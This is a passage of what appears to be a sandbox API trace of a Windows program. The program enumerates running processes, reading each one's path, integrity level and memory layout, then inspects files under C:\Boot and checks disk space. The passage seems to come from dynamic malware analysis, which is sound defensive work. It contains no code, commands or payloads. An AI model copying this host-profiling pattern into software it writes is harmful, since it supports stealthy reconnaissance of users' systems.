IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.789] NtClose (Handle=0x2a0) returned 0x0 [0095.789] NtQueryVirtualMemory (in: ProcessHandle=0x284, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.789] NtQueryVirtualMemory (in: ProcessHandle=0x284, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.801] QueryFullProcessImageNameW (in: hProcess=0x288, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\MSBuild\\utg2.exe", lpdwSize=0x119fa50) returned 1 [0095.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.802] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.802] IsWow64Process (in: hProcess=0x288, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.802] NtQueryInformationProcess (in: ProcessHandle=0x288, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.802] GetProcessTimes (in: hProcess=0x288, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.802] OpenProcessToken (in: ProcessHandle=0x288, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.802] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.803] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.803] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.803] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.804] NtClose (Handle=0x2a0) returned 0x0 [0095.804] NtQueryVirtualMemory (in: ProcessHandle=0x288, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.804] NtQueryVirtualMemory (in: ProcessHandle=0x288, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.816] QueryFullProcessImageNameW (in: hProcess=0x28c, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Analysis Services\\mhplotvelvet.exe", lpdwSize=0x119fa50) returned 1 [0095.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378540 [0095.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1301ed8) returned 1 [0095.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.817] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.817] IsWow64Process (in: hProcess=0x28c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.817] NtQueryInformationProcess (in: ProcessHandle=0x28c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.817] GetProcessTimes (in: hProcess=0x28c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.818] OpenProcessToken (in: ProcessHandle=0x28c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.818] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.818] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.818] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.818] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.819] NtClose (Handle=0x2a0) returned 0x0 [0095.819] NtQueryVirtualMemory (in: ProcessHandle=0x28c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.819] NtQueryVirtualMemory (in: ProcessHandle=0x28c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.833] QueryFullProcessImageNameW (in: hProcess=0x290, dwFlags=0x0, lpExeName=0x12c96c8, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Office\\struggle_invited_gender.exe", lpdwSize=0x119fa50) returned 1 [0095.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378750 [0095.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1302070) returned 1 [0095.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c96c8) returned 1 [0095.834] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.834] IsWow64Process (in: hProcess=0x290, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.834] NtQueryInformationProcess (in: ProcessHandle=0x290, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.834] GetProcessTimes (in: hProcess=0x290, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.834] OpenProcessToken (in: ProcessHandle=0x290, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.834] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.835] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.835] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.835] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.836] NtClose (Handle=0x2a0) returned 0x0 [0095.836] NtQueryVirtualMemory (in: ProcessHandle=0x290, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.836] NtQueryVirtualMemory (in: ProcessHandle=0x290, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.848] QueryFullProcessImageNameW (in: hProcess=0x294, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows Mail\\lynn.exe", lpdwSize=0x119fa50) returned 1 [0095.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.848] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.848] IsWow64Process (in: hProcess=0x294, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.848] NtQueryInformationProcess (in: ProcessHandle=0x294, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.848] GetProcessTimes (in: hProcess=0x294, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.849] OpenProcessToken (in: ProcessHandle=0x294, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.849] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.849] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.849] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.850] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.850] NtClose (Handle=0x2a0) returned 0x0 [0095.850] NtQueryVirtualMemory (in: ProcessHandle=0x294, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.851] NtQueryVirtualMemory (in: ProcessHandle=0x294, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.863] QueryFullProcessImageNameW (in: hProcess=0x298, dwFlags=0x0, lpExeName=0x12c9908, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows NT\\measurement_standings_errors.exe", lpdwSize=0x119fa50) returned 1 [0095.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c9908) returned 1 [0095.864] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.864] IsWow64Process (in: hProcess=0x298, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.864] NtQueryInformationProcess (in: ProcessHandle=0x298, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.864] GetProcessTimes (in: hProcess=0x298, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.864] OpenProcessToken (in: ProcessHandle=0x298, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.864] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.865] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.865] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.865] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.866] NtClose (Handle=0x2a0) returned 0x0 [0095.866] NtQueryVirtualMemory (in: ProcessHandle=0x298, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.866] NtQueryVirtualMemory (in: ProcessHandle=0x298, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.879] QueryFullProcessImageNameW (in: hProcess=0x29c, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x119fa50) returned 1 [0095.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.879] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.879] IsWow64Process (in: hProcess=0x29c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.879] NtQueryInformationProcess (in: ProcessHandle=0x29c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.879] GetProcessTimes (in: hProcess=0x29c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.880] OpenProcessToken (in: ProcessHandle=0x29c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.880] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.880] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.881] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xab0d09 [0095.881] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xab0d10 [0095.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.881] NtClose (Handle=0x2a0) returned 0x0 [0095.881] NtQueryVirtualMemory (in: ProcessHandle=0x29c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0x1, Type=0x10000), ResultLength=0x0) returned 0x0 [0095.882] NtQueryVirtualMemory (in: ProcessHandle=0x29c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0095.901] QueryDosDeviceW (in: lpDeviceName="C:", lpTargetPath=0x1273230, ucchMax=0x200 | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0095.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.904] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400)) returned 1 [0095.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.906] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.907] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400)) returned 1 [0095.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.907] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.908] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0095.909] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0095.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0095.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0095.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0095.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0095.911] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0095.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0095.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0095.912] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0095.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0095.912] 